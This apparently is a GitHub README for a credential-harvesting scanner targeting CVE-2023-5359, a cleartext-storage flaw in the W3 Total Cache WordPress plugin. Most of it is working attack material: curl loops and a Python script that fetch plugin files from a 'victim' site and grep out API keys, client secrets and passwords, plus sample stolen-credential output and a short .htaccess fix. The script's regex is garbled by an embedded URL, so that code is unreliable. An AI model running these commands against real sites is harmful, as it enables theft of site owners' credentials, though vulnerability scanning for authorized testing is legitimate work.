
CVE-2023-5359 - W3 Total Cache Cleartext Storage Vulnerability Scanner. Detect exposed credentials in W3 Total Cache plugin versions ≤ 2.7.5.
CVE-2023-5359 is a cleartext storage vulnerability affecting the WordPress plugin W3 Total Cache in versions ≤ 2.7.5. This vulnerability allows remote attackers to access sensitive credentials stored in unencrypted PHP files that are publicly accessible.
W3 Total Cache stores configuration settings and API credentials in PHP files within the /wp-content/plugins/w3-total-cache/ directory without adequate protection. These files are accessible via HTTP, exposing:
/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php
/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php
/wp-content/plugins/w3-total-cache/Extension_FeedBurner_Plugin.php
/wp-content/plugins/w3-total-cache/Config.php
/wp-content/plugins/w3-total-cache/Cache_File.php
# Check if W3 Total Cache is installed
curl -s https://target.com/ | grep "w3-total-cache"
# Extract CloudFlare credentials
curl -s "https://target.com/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php" | grep -E "client_id|client_secret"
# Search all vulnerable files
for file in Extension_CloudFlare_Plugin.php Generic_Plugin_Admin.php Config.php; do
echo "=== $file ==="
curl -s "https://target.com/wp-content/plugins/w3-total-cache/$file" | grep -E "api_key|password|secret"
done
#!/usr/bin/env python3
import requests
import re
target = "https://victim.com"
files = [
"/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php",
"/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php"
]
for file in files:
response = requests.get(target + file)
credentials = re.findall(r"(api_key|client_secret|password)\s*=\s*['\"](https://github.com/enzocipher/cve-2023-5359/blob/HEAD/%5B%5E%27%5C%22%5D+)", response.text)
if credentials:
print(f"[!] Credentials found in {file}:")
for key, value in credentials:
print(f" {key}: {value}")
An attacker can obtain:
# .htaccess protection
<Files *.php>
Deny from all
</Files>
<Files "w3-total-cache.php">
Allow from all
</Files>
# Check for vulnerable version
curl -s https://target.com/wp-content/plugins/w3-total-cache/w3-total-cache.php | grep "Version"
[*] Scanning: https://example.com
[+] W3 Total Cache detected
[+] Accessible file: /wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php
[!] CREDENTIALS FOUND:
client_id: GAxxxxxxxxxxxx78
client_secret: ABcdEFghIJklMNopQRstUVwxYZ012345
This repository is for educational purposes and authorized penetration testing only. Malicious use of this information is strictly prohibited.
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Last updated: November 2025